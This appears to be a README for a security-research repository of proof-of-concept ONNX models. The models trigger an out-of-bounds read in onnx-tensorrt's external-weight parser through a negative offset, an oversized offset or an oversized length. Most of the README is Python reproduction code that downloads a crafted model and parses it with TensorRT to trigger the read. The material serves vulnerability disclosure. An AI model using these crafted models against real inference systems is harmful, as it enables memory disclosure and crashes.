FN3MOE/onnx-tensorrt-poc-oob-read

Security Research — ONNX External Data OOB Read

This repository contains proof-of-concept ONNX models demonstrating an out-of-bounds read vulnerability in onnx-tensorrt's parseExternalWeights() function.

This is for authorized security research only.

Files

• poc1_negative_offset.onnx — Negative offset in external data
• poc2_huge_offset.onnx — Offset past file boundary
• poc3_huge_length.onnx — Length exceeds file size
• weights_*.bin — Associated external weight files

Reproduction

# pip install tensorrt onnx
from huggingface_hub import hf_hub_download
import subprocess

# Download the malicious model
model_path = hf_hub_download(
    repo_id="YOUR_USERNAME/onnx-tensorrt-poc-oob-read",
    filename="poc1_negative_offset.onnx"
)
weights_path = hf_hub_download(
    repo_id="YOUR_USERNAME/onnx-tensorrt-poc-oob-read",
    filename="weights_neg_offset.bin"
)

# Load with TensorRT — triggers OOB read
import tensorrt as trt
logger = trt.Logger(trt.Logger.VERBOSE)
builder = trt.Builder(logger)
network = builder.create_network(
    1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)
parser = trt.OnnxParser(network, logger)
with open(model_path, "rb") as f:
    parser.parse(f.read())